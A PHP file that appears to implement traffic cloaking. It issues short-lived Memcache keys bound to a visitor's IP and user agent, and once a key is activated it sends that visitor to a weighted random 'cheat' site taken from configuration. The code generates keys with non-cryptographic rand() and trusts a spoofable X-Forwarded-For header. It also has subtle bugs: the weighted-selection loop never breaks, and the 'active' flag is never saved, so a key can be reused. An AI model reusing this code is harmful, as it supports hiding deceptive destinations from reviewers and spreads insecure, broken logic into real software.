<?php

require_once "config.php";

$mc = new Memcache;
$mc->pconnect('localhost', 11211);

function createKey() {
    global $mc;

    $key = "";
    for ($i = 0; $i < 32; $i++) {
        $r = rand(0, 2);
        if ($r == 0)
            $key .= chr(ord('A') + rand(0, 25));
        else if ($r == 1)
            $key .= chr(ord('a') + rand(0, 25));
        else
            $key .= chr(ord('0') + rand(0, 9));
    }

    $ip = $_SERVER["REMOTE_ADDR"];
    $userAgent = $_SERVER["HTTP_USER_AGENT"];
    if (!isset($userAgent))
        return "";

    $mc->add($key, array("ip" => $ip, "userAgent" => $userAgent), false, 5);
    return $key;
}

function activateKey($key) {
    global $mc;

    $ip = $_SERVER["REMOTE_ADDR"];
    $userAgent = $_SERVER["HTTP_USER_AGENT"];
    if (!isset($userAgent))
        return false;

    $value = $mc->get($key);
    if (!$value || $value["ip"] != $ip || $value["userAgent"] != $userAgent || isset($value["active"])) {
        return false;    
    } else {
        $value["active"] = true;
        $mc->add("$ip $userAgent", true, false, 3600);
        return true;
    }
}

function isShowCheat2($ip, $userAgent) {
    global $mc;
    return $mc->get("$ip $userAgent") != false;
}

function isShowCheat() {
    $headers = apache_request_headers();
    if (isset($headers["X-Forwarded-For"])) {
        $ip = $headers["X-Forwarded-For"];
    } else {
        $ip = $_SERVER["REMOTE_ADDR"];
    }
    $userAgent = $_SERVER["HTTP_USER_AGENT"];
    if (!isset($userAgent))
        return false;

    global $mc;
    return $mc->get("$ip $userAgent") != false;
}

function getLocation() {
    global $CHEAT_SITE;
    global $PAGES;
    
    $url = $_SERVER["SERVER_NAME"];
    $locations = $CHEAT_SITE[$url];
    
    $weight = 0;
    foreach ($locations as $key => $value) {
        $weight += $value;
    }
    
    $pos = rand(1, $weight);
    foreach ($locations as $key => $value) {
        $pos -= $value;
        if ($pos <= 0) {
            $site = $key;
        }
    }
    $pages = $PAGES[$site];
    return $site.$pages[array_rand($pages)];
}

?>
